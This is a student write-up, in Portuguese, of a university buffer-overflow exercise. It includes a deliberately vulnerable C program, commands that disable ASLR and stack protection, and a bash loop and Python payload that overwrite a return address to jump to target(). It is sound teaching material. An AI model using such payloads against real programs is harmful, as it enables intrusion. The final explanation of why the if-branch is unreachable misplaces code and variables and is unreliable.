Segurança da Informação

Buffer Overflow

Arthur do Prado Labaki - 11821BCC017

07-05, 2023

GBC083

Exercício

Caros,

Baseado na aula sobre buffers eu fiz o seguinte codigo:

```
#include <stdlib.h>
#include <unistd.h>
3 #include <stdio.h>
#include <string.h>
7 void c() {
8 char buff[5];
gets(buff);
11 }
13 void f1() {
   int i;
14
   i=0;
   printf("Ainda nao...\n\n");
17 }
19 void f2() {
   int i;
   i=0;
21
   printf("Ainda nao...\n\n");
23 }
24
void target(int i) {
   int j=231;
   int k=12;
   k=j+k;
28
   if (i==100) {
    j=23;
30
    k=123;
31
    k=k+(j+2)-10;
     printf("Agora sim! O segredo e %d...\n\n",k);
33
   } else {
34
     printf("Quase!!\n");
   }
36
```

```
37 }
38
39 int main(int argc, char* argv[]) {
40  printf("%p\n%p\n",f1,f2,target);
41  c();
42 }
```

A idéia do exercicio é construir um script para explorar este programa. O script deve tentar varias strings de tamanhos diferentes até conseguir colocar o endereço de target() no lugar certo da pilha.

O endereço de target() é mostrado pelo printf(), também poderia ser obtido por objdump -d a.out.

Quem conseguir "explorar" o programa (o codigo em C é copy-paste!!! Obviamente ele nao deve ser alterado!!!) e fazer imprimir o Quase receberá a nota integral do exercicio.

Agora vem a parte interessante...eu nao consegui fazer o "jmp" cair dentro do if e executar printf("Agora sim! O segredo e

Quem conseguir fazer isso (ou uma explicação tecnica precisa do que esta acontecendo) recebera nota dobrada (bonus)!!

Para compilar:

```
sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
gcc exploitme.c -fno-stack-protector -no-pie
```

Ao executar a.out:

0x400593

0x4005b1

0x4005cf

Este ultimo é o endereço da funcao target!(pode ser diferente no seu sistema!) ATENÇÃO: no meu script, para colocar na pilha eu preciso colocar o endereço invertido byte a byte.

Imprimindo o "Quase!!"

Para conseguir explorar o buffer overflow é preciso saber o endereço da função target e o número de bytes/strings necessários para alcançar o print do quase.

O endereço da função target é o ultimo print (conforme dito no exercício), no caso do meu sistema, ela é 0x4011a4.

Para o número de strings é necessário testar uma a uma. Então foi criado um shell script com python para facilitar essa procura. Ele tentará explorar o programa enviando diferentes tamanhos de strings. 15 strings já foram suficiente.

```
#!/bin/bash

for (( i=1; i<=15; i++ ))

do

echo "Valor de i: $i"

python3 -c 'print("A"*'$i' + "\xa4\x11\x40")' | ./a.out

echo

done</pre>
```

Vale lembrar que, para meu sistema foi necessário utilizar os endereços invertidos byte a byte para colocar na pilha (xa4 x11 x40). Com isso, foi somente necessário encontrar o tamanho correto. Então, utilizando 12 strings foi obtido:

```
Valor de i: 12

0×401162

0×401183

0×4011a4

Quase!!

./exploit.sh: line 8: 1774675 Done python3 -c 'print("A"*'$i' + "\xa4\x11\x40")'

1774676 Segmentation fault | ./a.out
```

Figura 1: 12 strings necessárias para "Quase"

Tentando executar dentro do if

Mesmo tentando com mais caracteres, ou utilizando outras tentativas simples, não foi possível encontrar a mensagem alvo. Então uma nova estrategia foi desenvolvida utilizando python.

Ela consiste em:

```
from subprocess import Popen, PIPE, STDOUT
3 target_address = 0x4011a4
4 i_value = 100
5 buffer_size = 5
6 padding_size = 12
7 padding = b'A' * padding_size
9 payload = padding + target_address.to_bytes(8, 'little') + i_value.
     to_bytes(4, 'little')
p = Popen(['./a.out'], stdout=PIPE, stdin=PIPE, stderr=STDOUT)
output, _ = p.communicate(input=payload)
13
14 if b'Agora sim!' in output:
     print('Exploracao bem-sucedida! Obteve a mensagem "Agora sim! O
     segredo <valor>..."')
16 else:
  print('Exploracao mal-sucedida')
```

Porem não foi obtido uma exploração bem sucedida, mesmo alterando os valores do 'padding_size'. Trocando o 'if' por 'b'Quase !!" a exploração é bem sucedida, então a função está correta.

Pesquisando mais a fundo, encontrei uma explicação que provavelmente é a resposta. A razão pela qual o buffer overflow não permite que a mensagem "Agora sim! O segredo é ..." seja exibida dentro do bloco if está relacionada à forma como a pilha é organizada e como o código é executado.

Na maioria dos sistemas, quando ocorre um buffer overflow e o endereço de retorno é sobrescrito com o endereço de target(), a execução do programa é desviada para a função target(), nesse caso. No entanto, a função target() é chamada em um contexto diferente do que seria se a verificação if (i == 100) fosse verdadeira.

Essa verificação está sendo realizada na função c(), antes de retornar para a função main(). Se o desvio ocorrer para target() a partir de c(), a condição if (i == 100) já foi avaliada anteriormente e i terá um valor indefinido na pilha. Portanto, não importa qual valor i tinha originalmente, a condição não será verdadeira.

Porem, caso de alguma forma a condição if (i == 100) fosse verdadeira, o valor de k dentro de target() é alterado localmente e não afeta a variável k original na main(). Portanto, mesmo que a mensagem "Agora sim! O segredo é k..." seja exibida, k não terá um valor útil no contexto do programa, sendo null, um lixo de memória ou possivelmente um erro de execução do programa.

Então é possível alcançar esse resultado, porem seria necessário explorar ainda mais a vulnerabilidade, injetando código shell ou realizando outras técnicas avançadas de exploração, além de que seria necessário compreender a organização da memória, a estrutura do stack frame (pilha) e outros aspectos internos do programa. Além disso, todo esse estudo e técnicas pode depender da arquitetura do sistema em que o código está sendo executado. (Não deu tempo de tentar essas técnicas).